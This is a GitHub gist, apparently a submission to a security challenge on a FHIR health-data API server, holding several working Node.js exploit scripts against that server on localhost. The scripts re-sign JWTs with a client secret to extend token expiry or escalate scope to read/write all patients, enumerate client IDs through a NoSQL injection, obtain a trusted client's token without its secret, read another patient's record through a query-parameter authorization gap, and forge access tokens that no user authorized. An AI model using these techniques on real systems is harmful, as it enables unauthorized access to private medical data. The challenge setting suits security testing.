Skip to content

Instantly share code, notes, and snippets.

@rickysahu rickysahu/extendtokenexp.js Secret
Last active Mar 23, 2018

Embed
What would you like to do?
1uphealthsecureapiserverchallenge
```
This shows how to extend the expiration time of an existing token without
permission from the user or the fhir server
Prerequisite: get a valid access token for the client xyz123
and enter the value for valid_token
let the token expire after the default 1 hr
```
const request = require('request');
const jwt = require('jsonwebtoken');
const client_id = 'xyz123';
const client_secret = 'ssh-password';
const valid_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWZyZXNoX3Rva2VuIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SmpiMjUwWlhoMElqcDdmU3dpYW5ScElqb2lha2xGYWpKNmIyRXdPV0pLVERacllscEdkbUZQY2paRWR6UjVkVEZLZEdnMmVVbHhJaXdpWVhWa0lqb2llSGw2TVRJeklpd2lhWE56SWpvaWFIUjBjRG92TDJ4dlkyRnNhRzl6ZERvek1EQXdJaXdpYzJOdmNHVWlPaUpzWVhWdVkyZ2djR0YwYVdWdWRDOHFMbkpsWVdRZ2IzQmxibWxrSWl3aWFXRjBJam94TlRJeE5qUTVNelkxTENKbGVIQWlPakUxTWpFMk5EazJOalY5LnN6VXFPUG02VW9LTTBnZUZucnNXdklHbGhmb2FrMnpzZ19tR25tVjJNT1UiLCJ0b2tlbl90eXBlIjoiYmVhcmVyIiwiZXhwaXJlc19pbiI6MzYwMCwic2NvcGUiOiJsYXVuY2ggcGF0aWVudC8qLnJlYWQgb3BlbmlkIiwiYXVkIjoieHl6MTIzIiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwIiwianRpIjoiaklFajJ6b2EwOWJKTDZrYlpGdmFPcjZEdzR5dTFKdGg2eUlxIiwiaWF0IjoxNTIxNjQ5NDA0LCJleHAiOjE1MjE2NTMwMDR9.iBQ0nFu4WHBnL3FFAbPZdb1Yo0GYhct9JpGxbS5VOLk'
var exp = parseInt((new Date).getTime()/1000) + 3600;
var jwtContent = jwt.decode(valid_token)
jwtContent.exp = exp
var token = jwt.sign(jwtContent, client_secret);
var url = 'http://localhost:3000/dstu2/Patient'
var headers = {authorization: `Bearer ${token}`}
request.get({url: url, headers: headers}, function(err, response) {
if (err) {
console.log('err', err)
} else {
console.log(response)
}
})
```
This allows anyone to find new client ids by exploiting
a nosql injection (client_id[$gt]=) in the authorize url
this can then be used in conjunction with gettokenforotherclient.js
to imporsonate any other app, duping users into enabling malicious actors
to use access tokens they should not have
```
const request = require('request');
const jwt = require('jsonwebtoken');
function getClientIdForPrefix(prefix) {
var url = `http://localhost:3000/authorize?client_id[$gt]=${prefix}&redirect_uri=http://localhost:3000/&response_type=code&state=43220320&scope=launch patient/*.read openid&aud=http://localhost:3000`
request.get({url: url}, function(err, response) {
if (err) {
console.log('err', err)
} else {
try {
code = response.req.path.split('=')[1].split('&')[0]
jwtContent = jwt.decode(code)
console.log('found client_id', jwtContent.aud)
} catch (e) {console.log(e)}
}
})
}
x = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'.split('').map(function(prefix){
getClientIdForPrefix(prefix)
})
```
This allows a client to access data on behalf of a "trusted" client
therefore users could be duped into authorizing access to a
party which should not have access to this "trusted" client
this is caused by the fact that the client_secret is not required to request the auth token
when the client is "trusted"
```
const request = require('request');
const jwt = require('jsonwebtoken');
// this is information that the client has
const client_id = 'abc123';
const client_secret = 'ssh-secret';
// however the client can get send the user to authorize another app and
// aquire that other apps access token
var otherAppClientId = 'xyz123';
var url = `http://localhost:3000/authorize?client_id=${otherAppClientId}&redirect_uri=http://localhost:3000/&response_type=code&state=43220320&scope=launch patient/*.read openid&aud=http://localhost:3000`
var code;
async function getCode(){
await request.get({url: url}, function(err, response) {
if (err) {
console.log('err', err)
} else {
code = response.req.path.split('=')[1].split('&')[0]
}
})}
getCode()
console.log(code)
var url = `http://localhost:3000/token`
var headers = {
"Content-Type": "application/json",
}
var body = {
"code": code,
"redirect_uri": "http://localhost:3000",
"grant_type": "authorization_code"
}
var token;
async function getToken(){
await request.post({url: url, headers: headers, body: JSON.stringify(body)}, function(err, response) {
if (err) {
console.log('err', err)
} else {
token = JSON.parse(response.body).access_token
console.log(response)
}
})}
getToken()
var url = 'http://localhost:3000/dstu2/Patient'
var headers = {authorization: `Bearer ${token}`}
request.get({url: url, headers: headers}, function(err, response) {
if (err) {
console.log('err', err)
} else {
console.log(response)
}
})
```
This shows how to extend the scope of an existing token without
permission from the user or the fhir server
Prerequisite: get a valid access token for the client xyz123
and enter the value for valid_token
let the token expire after the default 1 hr
```
const request = require('request');
const jwt = require('jsonwebtoken');
const client_id = 'xyz123';
const client_secret = 'ssh-password';
const valid_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWZyZXNoX3Rva2VuIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SmpiMjUwWlhoMElqcDdmU3dpYW5ScElqb2lha2xGYWpKNmIyRXdPV0pLVERacllscEdkbUZQY2paRWR6UjVkVEZLZEdnMmVVbHhJaXdpWVhWa0lqb2llSGw2TVRJeklpd2lhWE56SWpvaWFIUjBjRG92TDJ4dlkyRnNhRzl6ZERvek1EQXdJaXdpYzJOdmNHVWlPaUpzWVhWdVkyZ2djR0YwYVdWdWRDOHFMbkpsWVdRZ2IzQmxibWxrSWl3aWFXRjBJam94TlRJeE5qUTVNelkxTENKbGVIQWlPakUxTWpFMk5EazJOalY5LnN6VXFPUG02VW9LTTBnZUZucnNXdklHbGhmb2FrMnpzZ19tR25tVjJNT1UiLCJ0b2tlbl90eXBlIjoiYmVhcmVyIiwiZXhwaXJlc19pbiI6MzYwMCwic2NvcGUiOiJsYXVuY2ggcGF0aWVudC8qLnJlYWQgb3BlbmlkIiwiYXVkIjoieHl6MTIzIiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwIiwianRpIjoiaklFajJ6b2EwOWJKTDZrYlpGdmFPcjZEdzR5dTFKdGg2eUlxIiwiaWF0IjoxNTIxNjQ5NDA0LCJleHAiOjE1MjE2NTMwMDR9.iBQ0nFu4WHBnL3FFAbPZdb1Yo0GYhct9JpGxbS5VOLk'
// this new scope gives the right to read and write anything for all patients or users
// but this may not have been the original scope that the user authorized
var newscope = 'launch patient/*.read patient/*.write user/*.* openid';
var jwtContent = jwt.decode(valid_token)
jwtContent.scope = newscope
var token = jwt.sign(jwtContent, client_secret);
var url = 'http://localhost:3000/dstu2/Patient'
var headers = {authorization: `Bearer ${token}`}
request.get({url: url, headers: headers}, function(err, response) {
if (err) {
console.log('err', err)
} else {
console.log(response)
}
})
`
If an access_token with a valid patient context is obtained, the patient id
field in the query is not honored and any patient's data can be accessed
this arises from the fact that the logic is being tested only on the request body,
and not the request query
if (
req.patient
&& req.body
&& req.body.id
&& req.patient !== req.body.id
) {
return next(errors.unauthorized(`You are not allowed to access patient ${req.body.id}.`));
}
`
const request = require('request');
const jwt = require('jsonwebtoken');
const client_id = 'xyz123';
const client_secret = 'ssh-password';
var iat = parseInt((new Date).getTime()/1000);
var exp = parseInt((new Date).getTime()/1000) + 3600;
var jwtContent = {
"refresh_token": "thiscanbeanything",
"token_type": "bearer",
"expires_in": 3600,
"scope": "launch patient/*.read openid",
"aud": client_id,
"context": {
"patient": "1"
},
"iss": "http://localhost:3000",
"jti": "jIEj2zoa09bJL6kbZFvaOr6Dw4yu1Jth6yIq",
"iat": iat,
"exp": exp
}
// get a vlid token with the patient context in it
var token = jwt.sign(jwtContent, client_secret);
var url = 'http://localhost:3000/dstu2/Patient/2'
var headers = {authorization: `Bearer ${token}`}
request.get({url: url, headers: headers}, function(err, response) {
if (err) {
console.log('err', err)
} else {
console.log(response)
}
})
```
this shows how to get an access token for user / patient without requiring that
user to authorize access to their data
```
const request = require('request');
const jwt = require('jsonwebtoken');
const client_id = 'xyz123';
const client_secret = 'ssh-password';
var iat = parseInt((new Date).getTime()/1000);
var exp = parseInt((new Date).getTime()/1000) + 3600;
var jwtContent = {
"refresh_token": "thiscanbeanything",
"token_type": "bearer",
"expires_in": 3600,
"scope": "launch patient/*.read openid",
"aud": client_id,
"iss": "http://localhost:3000",
"jti": "jIEj2zoa09bJL6kbZFvaOr6Dw4yu1Jth6yIq",
"iat": iat,
"exp": exp
}
var token = jwt.sign(jwtContent, client_secret);
var url = 'http://localhost:3000/dstu2/Patient'
var headers = {authorization: `Bearer ${token}`}
request.get({url: url, headers: headers}, function(err, response) {
if (err) {
console.log('err', err)
} else {
console.log(response)
}
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.